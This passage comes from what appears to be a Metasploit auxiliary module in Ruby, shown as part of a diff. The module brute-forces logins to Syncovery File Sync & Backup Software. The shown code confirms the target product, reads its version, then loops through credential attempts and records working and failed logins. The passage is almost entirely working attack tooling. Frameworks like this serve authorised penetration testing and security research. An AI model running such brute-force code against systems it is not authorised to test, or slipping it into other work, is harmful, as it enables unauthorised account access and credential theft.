status: result.status,
proof: result.proof
)
end
# Attempts to login
def bruteforce(ip)
scanner(ip).scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
report_good_cred(ip, rport, result)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(level: :verror, ip: ip, msg: result.proof)
report_bad_cred(ip, rport, result)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
report_bad_cred(ip, rport, result)
end
end
end
# Start here
def run_host(ip)
if scanner(ip).check_setup
vprint_brute(level: :good, ip: ip, msg: 'Syncovery File Sync & Backup Software confirmed')
else
print_brute(level: :error, ip: ip, msg: 'Target is not Syncovery File Sync & Backup Software')
return
end
version = scanner(ip).get_version
if !version
vprint_brute(level: :error, ip: ip, msg: 'Unknown version')
else
vprint_brute(level: :good, ip: ip, msg: "Identified version: #{version}")
end
bruteforce(ip)
end
end

Some files were not shown because too many files have changed in this diff Show More